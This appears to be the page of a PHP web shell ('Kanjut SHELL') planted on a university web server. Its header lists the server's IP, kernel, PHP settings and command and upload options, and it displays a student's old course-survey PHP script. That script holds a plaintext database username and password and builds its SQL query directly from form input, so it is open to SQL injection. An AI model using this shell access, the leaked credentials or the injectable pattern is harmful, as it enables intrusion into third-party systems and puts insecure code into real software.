Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.225.92.60
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cjabbott/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cjabbott/public_html/projectd.php
<!--
        File Name:      projectd.php
        Class:          CS480 CS Topics: PHP/MySQL
        Date:           May 4, 2009
        Author:         Christie Abbott
        Instructor:     Dr. Wang
        Goal:           This program is the action page for the form page for 
			selecting a particular course to see the survey results
		 	for.
-->

<HTML>
<HEAD>
<TITLE>
Online Course Survey
</TITLE>
</HEAD>

<BODY BACKGROUND = "pink.jpg">
<FONT COLOR = 660099 SIZE = 4>
<CENTER>
<B>
<FONT FACE = "Bradley Hand ITC" SIZE = 8>
Online Course Survey 
</FONT>
</B>
</CENTER>
<HR>

<?php
	$search = $_POST['course'];
	
	$server = 'localhost';
	$user = 'cjabbott';
	$pass = 'cs480';
	$mydb = 'cjabbott';
	$table_name = 'Survey';
	print " <CENTER>";
	$connect = mysql_connect($server, $user, $pass);
	if( !$connect )
	{
		die ("Can't connect to $server using $user");
	}
	else
	{
		$SQLcmd = "SELECT * FROM $table_name 
			where (Course='$search' )";
		
		mysql_select_db($mydb);

                $results_id = mysql_query($SQLcmd, $connect);
                if($results_id)
                {
                        print "<TABLE BORDER = 1 BGCOLOR = 66FFFF>";
                        print "<TH><FONT COLOR = 990099>ID<TH><FONT COLOR = 990099>
                                Gender<TH><FONT COLOR = 990099>Grade<TH>
                                <FONT COLOR = 990099>Course<TH><FONT COLOR = 990099>
                                Question 1<TH><FONT COLOR = 990099> Question 2
                                <TH><FONT COLOR = 990099>Question 3<TH>
                                <FONT COLOR = 99009> Question 4<TH>
                                <FONT COLOR = 990099>Question 5";
                while($row = mysql_fetch_row($results_id))
                {
                        print '<TR>';
                        foreach($row as $field)
                        {
                                print "<TD ALIGN = center><FONT COLOR = 990099>
				$field</TD>";
                        }
                        print '</TR>';
                }
        }
        else
                echo ("Display Failed");

        mysql_close($connect);
	}
	print "</CENTER>";
	print "</FONT>";
?>

<A HREF = "project.html">
<FONT COLOR = FF0066 SIZE = 4>
<P><CENTER>Back</CENTER>
</FONT>
</A>

<FONT COLOR = FF0066 SIZE = 4>
<P>0 = Disagree 1 = Agree 2 = Strongly Agree
</FONT>

</BODY>
</HTML> 


	


Stv3n404 - 2023